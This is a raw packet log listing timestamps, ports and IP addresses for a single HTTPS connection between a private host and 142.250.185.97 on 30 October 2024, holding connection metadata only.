Oct 30, 2024 07:53:39.978619099 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978718996 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978765011 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.978769064 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978863001 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978905916 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.978914022 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979003906 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979053020 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.979057074 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979161978 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979207039 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.979212046 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979341984 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979394913 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.979399920 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979530096 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979574919 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.979579926 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979718924 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979765892 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.979770899 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979876041 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.979918003 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.979923010 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980031967 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980070114 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.980074883 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980190992 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980240107 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.980245113 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980360031 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980403900 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.980408907 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980525970 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980570078 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.980573893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980691910 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980737925 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.980741978 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980851889 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.980896950 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.980901957 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981003046 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981040955 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.981045961 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981158972 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981203079 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.981211901 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981328964 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981376886 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.981381893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981492043 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981534004 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.981539011 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981671095 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981714964 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.981719971 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981842041 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.981884956 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.981894016 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982011080 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982053995 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.982059956 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982166052 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982209921 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.982214928 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982333899 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982376099 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.982381105 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982522964 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982563972 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.982568026 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982697964 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982743025 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.982748032 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982870102 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.982909918 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.982916117 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983021021 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983073950 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.983078003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983187914 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983237982 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.983242989 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983452082 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983500004 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.983505011 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983612061 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983656883 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.983661890 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983804941 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983850956 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.983855963 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.983968973 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984009981 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984009981 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984024048 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984054089 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984069109 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984117985 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984149933 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984154940 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984159946 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984194040 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984199047 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984232903 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984263897 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984266996 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984272957 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984299898 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984304905 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984359026 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984389067 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984390974 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984397888 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984441042 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984448910 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984503031 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984536886 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984539986 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984544992 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984582901 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984586954 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984632969 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984663963 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984671116 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984674931 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984709978 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984714031 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984744072 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984777927 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984783888 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984788895 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984819889 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984823942 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984853983 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984884977 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984889984 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984894037 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984931946 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.984935999 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984966993 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.984997034 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985003948 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985008955 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985039949 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985044003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985076904 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985110044 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985116005 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985122919 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985152960 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985161066 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985199928 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985234022 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985234022 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985241890 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985268116 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985275030 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985328913 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985359907 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985368013 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985373020 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985404015 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985408068 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985443115 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985482931 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985486984 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985526085 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985558033 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985562086 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985567093 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985600948 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985605001 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985641003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985671997 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985672951 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985680103 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985706091 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985712051 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985769033 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985797882 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985810041 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985815048 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985846996 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985851049 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985882044 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985913038 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985919952 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985924959 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985955000 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.985959053 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.985992908 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986027956 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986028910 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986035109 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986069918 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986074924 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986112118 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986145020 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986150026 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986154079 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986181021 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986185074 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986218929 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986251116 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986258984 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986263037 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986295938 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986299992 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986330986 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986362934 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986366034 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986372948 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986413956 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986418962 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986449003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986481905 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986485004 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986490965 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986524105 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986529112 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986581087 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986610889 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986624002 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986628056 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986660004 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986664057 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986694098 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986725092 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986733913 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986737967 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986776114 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986780882 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986815929 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986850023 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986851931 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986856937 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986898899 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986902952 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986937046 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986972094 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.986978054 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.986983061 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987021923 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987025976 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987061977 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987097025 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987099886 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987104893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987135887 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987139940 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987179041 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987210989 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987216949 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987221003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987257004 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987261057 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987291098 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987328053 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987329960 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987337112 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987374067 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987382889 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987409115 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987441063 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987447023 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987452030 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987484932 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987488985 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987519979 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987550974 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987550974 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987557888 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987590075 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987611055 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987663031 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987695932 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987703085 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987709045 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987740040 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987744093 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987776041 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987806082 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987818956 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987823963 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987855911 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987859964 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987890005 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987921953 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987925053 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987930059 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.987960100 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.987963915 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988003969 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988038063 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988044977 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988049030 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988087893 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988090992 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988099098 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988131046 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988135099 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988181114 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988209963 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988217115 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988220930 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988253117 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988255978 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988291979 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988325119 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988332987 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988337040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988372087 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988375902 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988408089 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988440037 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988451958 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988456964 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988491058 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988492966 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988500118 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988523960 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988531113 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988586903 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988616943 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988625050 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988630056 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988663912 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988667965 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988713980 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988745928 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988754034 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988759995 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988790035 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988794088 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988823891 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988857031 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988862991 CET	49174	443	192.168.2.22	142.250.185.97
